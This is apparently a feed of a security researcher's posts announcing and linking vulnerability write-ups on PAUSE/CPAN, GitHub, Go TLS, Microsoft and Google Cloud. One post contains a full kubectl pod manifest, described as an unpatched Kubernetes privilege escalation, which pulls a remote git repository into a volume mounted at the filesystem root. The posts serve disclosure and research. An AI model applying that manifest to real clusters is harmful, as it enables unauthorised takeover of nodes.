While everyone is pulling all-nighters over #php2shell & #HTTP2Shell, I audited Perl infra in my freetime:
Found an RCE in the PAUSE indexer (CPAN's core). Reported & patched in hours—saving you from a perl2shell nightmare.
(If you run a private PAUSE server: patch now! 😅)
Manually reading thousands of rejected vuln reports is a mind-killer. 🧠💀
I used AI to cluster years of Google Cloud VRP data to reveal exactly why reports get bounced. Hunt smarter, not harder.
Check the insights: bughunters.google.com/learn/…
#GoogleVRP #BugBounty #AI #Infosec
Check /tmp/poc @ host:
kubectl apply -f - <<Z
apiVersion: v1
kind: Pod
metadata:
name: x
spec: {containers: [{image: i,name: c,volumeMounts: [{mountPath: /,name: g}]}],volumes: [{name: g,gitRepo: {repository: github.com/irsl/g.git,revisi…: main,directory: g/.git}}]}
Z
Yes, this is a yet unpatched privesc in Kubernetes :)
Full context here: irsl.medium.com/sneaky-write…
And an article about two related projects I've been working on:
bughunters.google.com/blog/6…
Write up about the first batch of findings I reported to the Github bug bounty program:
irsl.medium.com/github-bug-b…
One flaw in Github Actions and a couple in Github CLI. The next article will be about Github Enterprise Server :)
Golang's TLS client implementation had been vulnerable to a denial of service flaw since the very beginnings (including 1.0!). The victim golang client apps, when connecting to an attacker controlled TLS server (e.g. https), may crash (panic).
github.com/alexzorin/cve-202…
Tech details about an elevation of privileges flaw in Microsoft's Diagnostics Hub service.
github.com/irsl/microsoft-di…
CVE-2021-28321 CVE-2021-28322 CVE-2021-28323
Technical write-up about how I opened a reverse shell in Google's managed MySQL and Postgres platforms irsl.medium.com/dropping-a-s…
